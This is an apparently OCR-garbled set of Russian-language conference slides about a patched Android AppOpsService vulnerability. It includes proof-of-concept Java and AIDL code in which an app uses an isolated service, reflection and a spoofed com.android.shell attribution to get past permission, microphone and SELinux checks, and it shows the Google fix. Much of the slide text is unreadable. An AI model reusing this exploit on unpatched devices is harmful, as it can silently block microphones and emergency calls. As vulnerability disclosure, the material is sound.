NOKalibHbIX BEKTOP NMPUOCTAHOBJ/IEHHbIE
aTaKu onepaunm c KogamMu
27,100, 120, 121, 136
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3anfaHMpoBaTb KaKk MOXKHO 6ornblLue

VHUKASTbHbIX aTPUBYTUPOBAHHbIX
onepaunm Ha 4OCTYN K MUKPOPOHY
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onepaunm Ha 4OCTYN K MUKPOPOHY

02

O60MTN NPOBEPKY OoCcTyna K MUKPODOHY
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3annaHnNpPoOBaTb KaK MOXXHO 60sblLue
VHUKASTbHbIX aTPUBYTUPOBAHHbIX
onepaunm Ha 4OCTYN K MUKPOPOHY

02

O60MTN NPOBEPKY OoCcTyna K MUKPODOHY

Jagauu PolC

03

He 3anpalimnBaTb HUKAKMUX paspeLleHnm




JHUKanNbHOCTb aTPUBYTUPOBaHHbIX
onepauuu

1. Package name

2. Uid - HensmMeHgaemble
3. Operation code napamMeTpbl
4.Device Id

5. Attribution tag




BanugauuAa Tera aTpubyuuu

Banugauuio nposogunt metoa AppOpsService##iverifyAndGetBypass




BanugauuAa Tera aTpubyuuu

Banugauuio nposogunt metoa AppOpsService##iverifyAndGetBypass

Ter BanuaeH, ecnw.

3apermctpmpoBaH B MaHUdecTe proxied nnum proxy nakeTta

<attribution
android:label="@string/label™
android:tag="@string/attribution_tag" />

He 6onee 400 TeroB B MaHUdecTe + ANIMHa Kaxkaoro <= 50 6aunT




BanugauuAa Tera aTpubyuuu

Banugauuio nposogunt metoa AppOpsService##iverifyAndGetBypass

Ter BanuaeH, ecnw.

3apermctpmpoBaH B MaHUdecTe proxied nnum proxy nakeTta

<attribution
android:label="@string/label™
android:tag="@string/attribution_tag" />

He 6onee 400 TeroB B MaHUdecTe + ANIMHa Kaxkaoro <= 50 6aunT

HepoocTtaToOuyHO 019 aTaKK




BanugauuAa Tera aTpubyuuu

Y>Ke M3BECTHbIN U MPOBEPEHHbIN Ter aTpnodyLmnm




BanugauuAa Tera aTpubyuuu

Y)Ke N3BEeCTHbIN U MPOBEpPEHHbIN Ter aTPpUbyLIMK

Ecnu proxied nakeT -- oAMH U3 cnegyrowmx 3Ha4YeHUN:

"root" -> Process.ROOT _UID (0)
"com.android.shell” -> Process.SHELL UID (2000)
"media" -> Process.MEDIA UID (1013)

"audioserver" -> Process.AUDIOSERVER UID (1041)
"cameraserver" -> Process.CAMERASERVER _UID (1047)




BanugauuAa Tera aTpubyuuu

Y>Ke N3BeCTHbIN U I'IpOBepeHHbIl;I Ter anVI6yLI,MVI

Ecnu proxied nakeT -- oAMH U3 cnegyrowmx 3Ha4YeHUN:

"root" -> Process.ROOT _UID (0)
"com.android.shell” -> Process.SHELL UID (2000)
"media" -> Process.MEDIA UID (1013)

"audioserver" -> Process.AUDIOSERVER UID (1041)
"cameraserver" -> Process.CAMERASERVER _UID (1047)

[MepBbI 6annac




Oex0a NpoBepKu Tera aTpusyuuu

AttributionSource {

uid = 10210

packageName = poc.attacker

attributionTag = null

token = android.os.Binder@hashCode

deviceld = ©

next = AttributionSource {
uid = 2000
packageName = com.android.shell
attributionTag = random_tag of 4000b
token = android.os.Binder@hashCode
deviceld = ©
next = null




Oex0a NpoBepKu Tera aTpusyuuu

AttributionSource {
uid = 10210
packageName = poc.attacker proxy package:
attributionTag = null poc.attacker
token = android.os.Binder@hashCode
deviceld = © proxied package:
next = AttributionSource { com.android.shell

uid = 2000

packageName = com.android.shell
attributionTag = random_tag of 4000b
token = android.os.Binder@hashCode
deviceld = ©

next = null




Oex0a NpoBepKu Tera aTpusyuuu

AttributionSource {
uid = 10210
packageName = poc.attacker proxy package:
attributionTag = null poc.attacker
token = android.os.Binder@hashCode
deviceld = 6 proxied package:
next = AttributionSource { com.android.shell

uid = 2000
packageName = com.android.shell
attributionTag = random_tag of 4000b l

token = android.os.Binder@hashCode
deviceld = ©

t = 11
nex 1 Pa6oTaeM oT uMeHn SHELL!




Oex0a NpoBepKu Tera aTpusyuuu

AttributionSource {
uid = 10210
packageName = poc.attacker proxy package:
attributionTag = null poc.attacker
token = android.os.Binder@hashCode
deviceld = 6 proxied package:
next = AttributionSource { com.android.shell

uid = 2000
packageName = com.android.shell
attributionTag = random_tag of 4000b l

token = android.os.Binder@hashCode
deviceld = ©

t = 11
nex 1 Pa6oTaeM oT uMeHn SHELL!

Co3pgaem Term gnmHoum 4000 6aunT




Osxoa NPOBEPKU AO0OCTYyNna K
MUKPO®OHY

NMpo6nema:

[No6anbHble OrpaHNYeHMUsa Ha MUKPOPOH Ha MOMEHT 3anyckKa
PoC elle npUMeHEeHDbI

>




Osxoa NPOBEPKU AO0OCTYyNna K
MUKPO®OHY

NMpo6nema:

[No6anbHble OrpaHNYeHMUsa Ha MUKPOPOH Ha MOMEHT 3anyckKa
PoC elle npUMeHEeHDbI

Mbl He MO)XeM [o06eXkaTb A0 Bbl30Ba
attributedOp.createPaused()
6e3 o6xonoB




Osxoa NPOBEPKU AO0OCTYyNna K
MUKPO®OHY

TecT ¢ 3anyCKOM onepauumn BbiiIBUI:




Osxoa NPOBEPKU AO0OCTYyNna K
MUKPO®OHY

TecT ¢ 3anyCKOM onepauumn BbiiIBUI:

OP_RECEIVE_EXPLICIT _USER _INTERACTION_AUDIO He mMen orpaHMYeHMUM Ha 3aMnycK




Osxoa NPOBEPKU AO0OCTYyNna K
MUKPO®OHY

TecT ¢ 3anyCKOM onepauumn BbiiIBUI:

OP_RECEIVE_EXPLICIT _USER _INTERACTION_AUDIO He mMen orpaHMYeHMUM Ha 3aMnycK

OP_RECEIVE_AMBIENT TRIGGER AUDIO

MODE_DEFAULT

OP_RECORD_AUDIO
OP_PHONE_CALL_MICROPHONE ‘ MODE_IGNORED

OP_RECEIVE_SANDBOX_ TRIGGER _AUDIO

He 3anycKaJjiucb, NpoBafinBas NMPoBepPKU




Osxoa NPOBEPKU AO0OCTYyNna K
MUKPO®OHY

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java
Method startProxyOperationImpl:

if (!skipProxyOperation) {

final SyncNotedAppOp testProxiedOp = startOperationDryRun(...);

if (!shouldStartForMode(testProxiedOp.getOpMode(), startIfModeDefault)) {
return testProxiedOp;

}




Osxoa NPOBEPKU AO0OCTYyNna K
MUKPO®OHY

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java
Method startProxyOperationImpl:
MpoBepsaeT, MMeeT M NPaBO Proxy

o0 0 NaKeT 3afnyCckaTtb AdHHYIO
if (!skipProxyOperation) { onepauuio (cnonep: HeT)

final SyncNotedAppOp testProxiedOp = [startOperationDryRunf...);

if (!shouldStartForMode(testProxiedOp.getOpMode(), startIfModeDefault)) {

return testProxiedOp;
}




Osxoa NpoBEepPKU aocTyna K MUKPOMDOHY

boolean isCallerTrusted = isCallerAndAttributionTrusted(attributionSource);
skipProxyOperation = isCallerTrusted && skipProxyOperation;




Osxoa NpoBEepPKU aocTyna K MUKPOMDOHY

boolean isCallerTrusted = isCallerAndAttributionTrusted(attributionSource);
skipProxyOperation = isCallerTrusted && skipProxyOperation;




Osxoa NpoBEepPKU aocTyna K MUKPOMDOHY

boolean isCallerTrusted = isCallerAndAttributionTrusted(attributionSource);
skipProxyOperation = isCallerTrusted && |skipProxyOperationf

\ 4

Jlerko 3apaTb yepes
Java reflection




Osxoa NpoBEepPKU aocTyna K MUKPOMDOHY

boolean isCallerTrusted = isCallerAndAttributionTrusted(attributionSource);
skipProxyOperation = isCallerTrusted && |skipProxyOperationf

startProxyOperationWithStateMethod.invoke(
iAppOpssService, Jlerko 3aaathb yepes

clientToken .
’ va reflection
opCode, // AppOps code Java reflectio

state, // AttributionSourceState instance

true, // startIfModeDefault boolean flag

false, // shouldCollectAsyncNotedOp boolean flag
null, // message String

false, // shouldCollectMessage boolean flag

true, // skipProxyOperation boolean flag

9, // Proxy attribution flags (int)

9, // Proxied attribution flags (int)

-1 // attributionChainId (int)




Osxoa NpoBEepPKU aocTyna K MUKPOMDOHY

> Kak 6bITb C 3TUM?

boolean [isCallerTrusted| = isCallerAndAttributionTrusted(attributionSource);
skipProxyOperation = isCallerTrusted && |skipProxyOperationf

startProxyOperationWithStateMethod.invoke(
iAppOpssService, Jlerko 3aaathb yepes

clientToken .
’ va reflection
opCode, // AppOps code Java reflectio

state, // AttributionSourceState instance

true, // startIfModeDefault boolean flag

false, // shouldCollectAsyncNotedOp boolean flag
null, // message String

false, // shouldCollectMessage boolean flag

true, // skipProxyOperation boolean flag

9, // Proxy attribution flags (int)

9, // Proxied attribution flags (int)

-1 // attributionChainId (int)




flenaeM UCTOUYHUK aTpubyjuuu A0oBepeHHbIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if (attributionSource.getUid() != Binder.getCallingUid()
&& attributionSource.isTrusted(mContext)) {
return true;




flenaeM UCTOUYHUK aTpubyjuuu AoBepeHHbIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if (attributionSource.getUid() != Binder. getCalllngU1d()

&& |attributionSource.isTrusted(mContext)p—t

return true; d 3apeructpmpyem UCTOYHUK B
PermissionManagerService

PoC Code

ContextParams contextParams = new ContextParams.Builder()
.setNextAttributionSource(createAttribution(/*proxiedPackageName*/ "com.android.shell",
/*proxiedUid*/ 2000, random_tag)
.build();
createContext(contextParams).getAttributionSource();




flenaeM UCTOUYHUK aTpubyjuuu AoBepeHHbIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if (attributionSource.getUid() != Binder. getCalllngU1d()

&& |attributionSource.isTrusted(mContext)p—t

return true; d 3apeructpmpyem UCTOYHUK B
PermissionManagerService

PoC Code

ContextParams contextParams = new ContextParams.Builder()
.setNextAttributionSource(createAttribution(/*proxiedPackageName*/ "com.android.shell",
/*proxiedUid*/ 2000, random_tag)

) obaBneHmne UCTOYHMKA B Man
.build(); A

createContext(contextParams).getAttributionSource(); AttributionSourceRegistry

#mAttributions, roe nposepser

meTog, isTrusted(context)




flenaeM UCTOUYHUK aTpubyjuuu AoBepeHHbIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if (attributionSource.getUid() != Binder. getCalllngU1d()

&& |attributionSource.isTrusted(mContext)p—t

return true; d 3apeructpmpyem UCTOYHUK B
. PermissionManagerService
[MpoBepKa nponaeHal

PoC Code

ContextParams contextParams = new ContextParams.Builder()
.setNextAttributionSource(createAttribution(/*proxiedPackageName*/ "com.andr¢id.shell",
/*proxiedUid*/ 2000, random_tag)

) obaBneHmne UCTOYHMKA B Man
.build(); A

createContext(contextParams).getAttributionSource(); AttributionSourceRegistry

#mAttributions, roe nposepser

meTog, isTrusted(context)




flenaeM UCTOUYHUK aTpubyjuuu AoBepeHHbIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource

if

attributionSource) {

(attributionSource.getUid() != Binder.getCallingUid()

&& attributionSource.isTrusted(mContext)) {
return true;

uid nctoyHumka atpmnbyumm != uid Bbi3biBatoLLLErO Npouecca?




flenaeM UCTOUYHUK aTpubyjuuu AoBepeHHbIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if |(attributionSource.getUid() != Binder.getCallingUid()
&& attributionSource.isTrusted(mContext)) {
return true;

uid ncTouyHMKa aTpMbyuum != uid Bbi3bIBatOLLErO NpoLecca?




flenaeM UCTOUYHUK aTpubyjuuu AoBepeHHbIM

frameworks/base/services/core/java/com/android/server/pm/permission/
PermissionManagerService. java

public void registerAttributionSource(@NonNull AttributionSource source) {

e He nponTtn npoBepky, ecaum uid
final int callingUid = resolveUid(Binder.getCallingUid()); MCTOYHMKA != uid BbI3bIBAKOLLETO

final int sourceUid = resolveUid(source.getUid()); > npouecca
if [(sourceUid != calllngU1d-&&—meeﬁ%e*%—eheekPer&L51on(

Manifest.permission.UPDATE APP_OPS STATS, /*pid*/ -1, callingUid)
I= PackageManager.PERMISSION GRANTED) {
throw new SecurityException("Cannot register attribution source for uid:"
+ sourcelid + " from uid:" + callingUid);




flenaeM UCTOUYHUK aTpubyjuuu AoBepeHHbIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if |(attributionSource.getUid() != Binder.getCallingUid()
&& attributionSource.isTrusted(mContext)) {
return true;

uid ncTouyHMKa aTpMbyuum != uid Bbi3bIBatOLLErO NpoLecca?

MoppenaTtb mAttributionSourceState.uid He BbiMoeT




flenaeM UCTOUYHUK aTpubyjuuu AoBepeHHbIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if |(attributionSource.getUid() != Binder.getCallingUid()
&& attributionSource.isTrusted(mContext)) {
return true;

uid ncTouyHMKa aTpMbyuum != uid Bbi3bIBatOLLErO NpoLecca?

MoppenaTtb mAttributionSourceState.uid He BbiMoeT

KaK MOYXHO BbI3BaTb MeTop, 4To6bl callingUid
He cooTBeTcTBOBas Uid NpoL,ecca OCHOBHOIO NPUTOXEeHUA?




flenaeM UCTOUYHUK aTpubyjuuu AoBepeHHbIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if |(attributionSource.getUid() != Binder.getCallingUid()
&& attributionSource.isTrusted(mContext)) {
return true;

uid ncTouyHMKa aTpMbyuum != uid Bbi3bIBatOLLErO NpoLecca?

MoppenaTtb mAttributionSourceState.uid He BbiMoeT

KaK MOYXHO BbI3BaTb MeTop, 4To6bl callingUid
He cooTBeTcTBOBas Uid NpoL,ecca OCHOBHOIO NPUTOXEeHUA?

Bbi3BaTb 13 U30JIMPOBAHHOM CNY)XXO6bI!




Co3aaeM u3onupoBaHHYIO CNY>KEY

<service
android:
android:
android:
android:
android:

name=".DosService"
enabled="true"
process=":poc"
isolatedProcess="true"
exported="true"></service>




Co3aaeM u3onupoBaHHYIO CNY>KEY

<service

android:
android:

android:name=".DosService"
androild:enabled="true"
android:process=":poc"
isolatedProcess="true"
exported="true"></service>

$ ps -A | grep poc.attacker
ud_a206 10866 7404
ue_ 19000 10942 7404

17306384 272388 O
17174808 101164 ©

@ Sp
O Sp

oc.attacker
oc.attacker.DosService




Co3aaeM u3onupoBaHHYIO CNY>KEY

<service
android:name=".DosService"
androild:enabled="true"
android:process=":poc"
androld:isolatedProcess="true"
android:exported="true"></service>

$ ps -A | grep poc.attacker
ud_a206 10866 7404 17306384 272388 O
uo@_1i9eee 10942 7404 17174808 101164 0

oc.attacker
oc.attacker.DosService

@ Sp
O Sp

N3o0nnpoBaHHbIEe MPOLLECCbl CUBbHO OrpaHMYeHbl NoIMTUKaMmM SELINnuUXx




OrpaHuquUH Uu30nupoBaHHbIX NMpoueccos

N3onmnpoBaHHble KOMIMOHEHTbI HE MOIyT MMETb pa3peLueHMlZ




OrpaHuquUH Uu30nupoBaHHbIX NMpoueccos

N3onmnpoBaHHble KOMIMOHEHTbI HE MOIyT MMETb pa3peLueHMlZ

[NMonunTnkKa SELIinuX 3anpeLllaeT M3onpoBaHHbIM MpoueccamM
nony4yaTb AOCTYyN K Binder-mHTepdemncam CUCTEMHDbIX CIYXKO:

kernel E avc: denied { find } for pid=2939 uid=99001 name=APP_OPS SERVICE
scontext=u:r:isolated app:s0:c512,c768 tcontext=u:object r:default android service:so
tclass=service_manager permissive=0

B nsonunposaHHoM npotecce B appOpsManager sepHetca null:

AppOpsManager appOpsManager = (AppOpsManager) getSystemService(Context.APP_OPS SERVICE);




Osxoa orpaHuueHuu SELinux

CyTb o6xopaa:

Mony4unM ccbifiky Ha Binder-mHtepdpeinc IAppOpsService B KOHTEKCTE
OCHOBHOIO MPUNOXEHUNA N MPOBPOCUM €ro B U3OSTUPOBAHHYIO CITY>XOY

>




Osxoa orpaHuueHuu SELinux

CyTb o6xopaa:

Mony4unM ccbifiky Ha Binder-mHtepdpeinc IAppOpsService B KOHTEKCTE
OCHOBHOIO MPUNOXEHUNA N MPOBPOCUM €ro B U3OSTUPOBAHHYIO CITY>XOY

>

1. Co3paeM aidl-uHtepdenc IAttackerAidlInterface:

interface IAttackerAidlInterface {
void startProxyOp(IBinder appOpsBinder,
in AttributionSource externalSource,
int opCode);
void init();




Osxoa orpaHuueHuu SELinux

2. B Koile OCHOBHOIO NPUIOXeHUd co3aaeM ak3eMmnnap ServiceConnection u
noakKitoyaeMcs K MU30/1MpoBaHHOMY cepBUCY, NpobpacbiBasg CCbINKY

Ha Binder-mHtepdenc cncrtemHom cny»x6bol AppOpsService:

ServiceConnection serviceConnection = new ServiceConnection() {

@Override

public void onServiceConnected(ComponentName name, IBinder service) {
IAttackerAidlInterface iService = IAttackerAidlInterface.Stub.asInterface(service);
Method getServiceMethod = ServiceManager.class.getDeclaredMethod("getService",

String.class);
IBinder appOpsBinder = (IBinder) getServiceMethod.invoke(null,
Context.APP_OPS_SERVICE);

iService.startProxyOp(appOpsBinder, attributionSource, opCode);




Osxoa orpaHuueHuu SELinux

3. B koge nsonmpoBaHHOM cny>6bl co3gaeM nHcTaHc IAppOpsService, 4To6bl
HanpsMyto Bbi3biBaTb MeTon IAppOpsService#tstartProxyOperationWithState
6e3 orpaHunyeHunm SELInuUXx:

private final IAttackerAidlInterface.Stub binder = new IAttackerAidlInterface.Stub() {

@Override

public void startProxyOp(IBinder appOpsBinder, AttributionSource externalSource, int opCode) {
Class IAppOpsServiceStubClass = Class.forName("IAppOpsService$Stub™);
Method asInterfaceMethod = IAppOpsServiceStubClass.getDeclaredMethod("asInterface",

IBinder.class);
Object iAppOpsService = asInterfaceMethod.invoke(null, appOpsBinder);
startProxyOperationWithStateMethod.invoke(
iAppOpsService,




Osxoa orpaHuueHuu SELinux

3. B koge nsonmpoBaHHOM cny>6bl co3gaeM nHcTaHc IAppOpsService, 4To6bl
HanpsMyto Bbi3biBaTb MeTon IAppOpsService#tstartProxyOperationWithState
6e3 orpaHunyeHunm SELInuUXx:

private final IAttackerAidlInterface.Stub binder = new IAttackerAidlInterface.Stub() {

@Override

public void startProxyOp(IBinder appOpsBinder, AttributionSource externalSource, int opCode) {
Class IAppOpsServiceStubClass = Class.forName("IAppOpsService$Stub™);
Method asInterfaceMethod = IAppOpsServiceStubClass.getDeclaredMethod("asInterface",

IBinder.class);
Object iAppOpsService = asInterfaceMethod.invoke(null, appOpsBinder);
startProxyOperationWithStateMethod.invoke(
iAppOpsService,

Mo>KHO BbiI3biBaTb MeToabl IAppOpsService npsaMo 13 N3onnpoBaHHOW CNy»>KoObl!




Osxoa orpaHuueHuu SELinux

uid 10210

Main Application

sends IBinder
Interface reference

uid 99000

u:r:untrusted_app:s0:¢c206,c256,c512,c768

Isolated Service

calls IAppOpsService
#startProxyOperationWithState

uid 1000

system_server

u:r:isolated_app:s0:c512,c768

AppOpsService

callingUid = 99000
attributionSourceState.uid = 10210




flenaeM UCTOYHUK aTpUuBYyuuu 40BEPEHHbLIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService. java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if |(attributionSource.getUid() != Binder.getCallingUid()
&& attributionSource.isTrusted(mContext)) {
return true;

uid MCTOYHMKaA aTpmbyunm = uid ocHoBHoro npunoxxexHuna = 10210
callingUid = uid nsonmposaHHom cnyx6bl = 99000
10210 !=99000




flenaeM UCTOYHUK aTpUuBYyuuu 40BEPEHHbLIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService. java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if |(attributionSource.getUid() != Binder.getCallingUid()
&& attributionSource.isTrusted(mContext)) {
return true;

uid MCTOYHMKaA aTpmbyunm = uid ocHoBHoro npunoxxexHuna = 10210
callingUid = uid nsonnposaHHom cny*k6b6i = 99000
10210 '=99000

[MpoBepKa nponaeHal!




flenaeM UCTOYHUK aTpUuBYyuuu 40BEPEHHbLIM

frameworks/base/services/core/java/com/android/server/appop/AppOpsService. java

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if |(attributionSource.getUid() != Binder.getCallingUid()
&& attributionSource.isTrusted(mContext)) {
return true;

uid MCTOYHMKaA aTpmbyunm = uid ocHoBHoro npunoxxexHuna = 10210
callingUid = uid nsonmposaHHom cnyx6bl = 99000
10210 !=99000

Mo)keM gobpaTtbca A0
attributedOp.createPaused() NMposepka npoigeHal
B 06Xo[ NPpoBepOK Ha AOCTYMNM K MUKPODOHY!




YTo nonyuunocChb caenarTtb




YTo nonyuunocChb caenarTtb

1. 3annaHumpoBanu 6onee 100 000 yHMKaNbHbIX onepaunm ot uMeHu shell




YTo nonyuunocChb caenarTtb

1. 3annaHumpoBanu 6onee 100 000 yHMKaNbHbIX onepaunm ot uMeHu shell
2. O6oWwNm NpoBepPKKM Tera aTpmoyLimm n NPOHECN CTPOKMU
MPOUN3BO/IbHOU OSTNHDI




YTo nonyuunocChb caenarTtb

1. 3annaHumpoBanu 6onee 100 000 yHMKaNbHbIX onepaunm ot uMeHu shell

2. O6oWwNm NpoBepPKKM Tera aTpmoyLimm n NPOHECN CTPOKMU
MPOUN3BO/IbHOU OSTNHDI

3. O6ownm orpaHMYeHmMsa Ha AoCTyn K MUKPOPOHY




YTo nonyuunocChb caenarTtb

. 3annaHunpoBanu 6onee 100 000 yHMKaNbHbIX onepaunm ot umMeHu shell
. O6olwnm NpPoBEPKU Tera aTpmbyumm n NpPoHeCsIn CTPOKU
MPOUN3BO/IbHOU OSTNHDI

. O6olwnm orpaHMYeHMsa Ha O0CTyn K MUKPOPOHY
. O6ownm orpaHnyeHumnsa SELIinux ong M3osIMpoBaHHbIX MPOLLECCOB




YTo nonyuunocChb caenarTtb

. 3annaHunpoBanu 6onee 100 000 yHMKaNbHbIX onepaunm ot umMeHu shell

. O6olwnm NpPoBEPKU Tera aTpmbyumm n NpPoHeCsIn CTPOKU
MPOUN3BO/IbHOU OSTNHDI

. O6oLnm orpaHMYeHMa Ha OOCTYN K MUKPOPOHY

. O6ownm orpaHnyeHumnsa SELIinux ong M3osIMpoBaHHbIX MPOLLECCOB
. He 3anpawmnBanun Kakme-nnbo paspelleHund




YTo nonyuunocChb caenarTtb

3annaHunpoBanu 6onee 100 000 yHUKaNbHbIX onepaunm ot uMeHu shell

. O6olwnm NpPoBEPKU Tera aTpmbyumm n NpPoHeCsIn CTPOKU
MPOUN3BO/IbHOU OSTNHDI

. O6oLnm orpaHMYeHMa Ha OOCTYN K MUKPOPOHY

. O6ownm orpaHnyeHumnsa SELIinux ong M3osIMpoBaHHbIX MPOLLECCOB
. He 3anpawmnBanun Kakme-nnbo paspelleHund

[ToNib30BaTe/lb HE CMOXKET O03BOHUTbCHA MO HOMepY Cﬂy)-K6 crnaceHugd!
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Try to call 911!
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3an0HgTble aTaKoUu KOMMOHEHTbI
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OTnpaBKa OaHHbIX B 3aMnnUCb SKCTPEHHOIO
SKCTPEHHDbIX clydaax Buaeo (Personal Safety)
(Personal Safety)
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[laTy Be3onacHocTu

commit

author

committer

tree

parent

79211e094a7363f28a06cea2737aa815339911ad
Nate Myren <ntmyren@google.com>

Android Build Coastguard Worker <android-build-coastguard-
worker@google.com>
bd555ffc981268107cff9407a8e26b9ccd300feb
4ec1792148a5d31a890dbe86bde40946404199e8 [diff]

Do not allow non-system apps to provide unverified attributions

Some apps (the shell, system server, etc) are exempt from the

requirement that attribution tags be registered. However, in the proxy

case, the tag provied by the proxy app is trusted if the proxied app is

one of these exemptions. We should only trust these tags if the proxy

app 1s a system app.

This CL also adds a second restriction check when a restriction 1is

removed, to verify that an op is free of all restrictions, before

resuming a started op

Bug: 375623125
Test: upcoming
Flag: EXEMPT: See bug




[laTy Be3onacHocTu

1. Next ICTOUYHUMK aTPUBYLIMM OOSIKEH 6biTb 3apermMcTpmnpoBaH

private boolean isCallerAndAttributionTrusted(@NonNull AttributionSource
attributionSource) {
if (attributionSource.getUid() != Binder.getCallingUid()
&& attributionSource.isTrusted(mContext)) {
return true;
// 1f there is a next attribution source, it must be trusted, as well.
if (attributionSource.getNext() == null
| | lattributionSource.getNext().isTrusted(mContext)P—t—
return true;

3apernMcTpmupoBaTh BHELLHIO
aTpubyumto - HEBO3MOXKHO




lNMpoBepkKu Npu perucTpauuu aTpusyuuu

frameworks/base/services/core/java/com/android/server/pm/permission/
PermissionManagerService. java

public void registerAttributionSource(@NonNull AttributionSource source) {

final int callingUid = resolveUid(Binder.getCallingUid()); . He nponTun nposepKy, ecaun
final int sourceUid = resolvieUid(source.getUid()); - sourceUid BHeLIHWMI1
if (sourceUid != callingUid[&& mContext.checkPermission(
Manifest.permission.UPDATE_APP_OPS STATS, /*pid*/ -1, callingUid)
= PackageManager.PERMISSION_ GRANTED) {
throw new SecurityException("Cannot register attribution source for uid:"
+ sourceUid + " from uid:" + callingUid); [axke ecnm n nponaem nepsyio
} nposepky, callingUid != uid
ce com.android.shell
int userld = UserHandle.getUserId((callingUid == Process.SYSTEM UID ? sourceUid
: callingUid));
if (packageManagerInternal.getPackageUid(source.getPackageName(), 9, userId) !=
sourcelid) {
throw new SecurityException( Cannot register attribution source for package:"
+ source.getPackageName() + " from uid:" + callingUid);




[laTy Be3onacHocTu

2. O6xon BanugaLmMm Tera atpmbyumm Tenepb OOCTYMEH TONbKO
CUCTEMHbIM MPUTOXKEHUAM

private @NonNull PackageVerificationResult verifyAndGetBypass(int uid, String packageName,
- @Nullable String attributionTag, @Nullable String proxyPackageName,

@Nullable String attributionTag, int proxyUid, @Nullable String proxyPackageName,
boolean suppressErrorLogs) {

+

boolean proxyIsSystemAppOrNull = true; lNponyckatoTcs ToNbKO
if (proxyPackageName != null) { e
int proxyAppId = UserHandle.getAppId(proxyUid);
if (proxyAppId >= Process.FIRST_APPLICATION UID) {
proxyIsSystemAppOrNull =

mPackageManagerInternal.isSystemPackage(proxyPackageName)

}
}

return new PackageVerificationResult(RestrictionBypass.UNRESTRICTED,
/* isAttributionTagValid */ true);

/* isAttributionTagValid */ proxyIsSystemAppOrNull);




[laTy Be3onacHocTu

3. PeannsoBaHo 6e30nacHoe BO30OHOBMEHME MPUNOCTAHOBNEHHbIX
onepaunm

private void updateStartedOpModeForUidForDefaultDevicelocked(int code, boolean restricted,
int uid) {

if (restricted && attrOp.isRunning()) {
attrOp.pause();
} else if (attrOp.isPaused()) {
attrOp.resume();
RestrictionBypass bypass = verifyAndGetBypass(uid, ops.packageName, attrOp.tag)
.bypass;
if (!isOpRestrictedLocked(uid, code, ops.packageName, attrOp.tag,
bypass, false)) {
// Only resume if there are no other restrictions remaining on this op
attrOp.resume();

Yb6eaunuch, YTo orpaHUYeHums
He YCTaHOB/EHbI
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- MaTtu o1 Google ncnpasngaeTt npobnemy?
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noaBep)XeHbl aTake B paMKax
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SensorPrivacyService
aBTOMaTUYECKUN MHULLIMNPYET CHATUE
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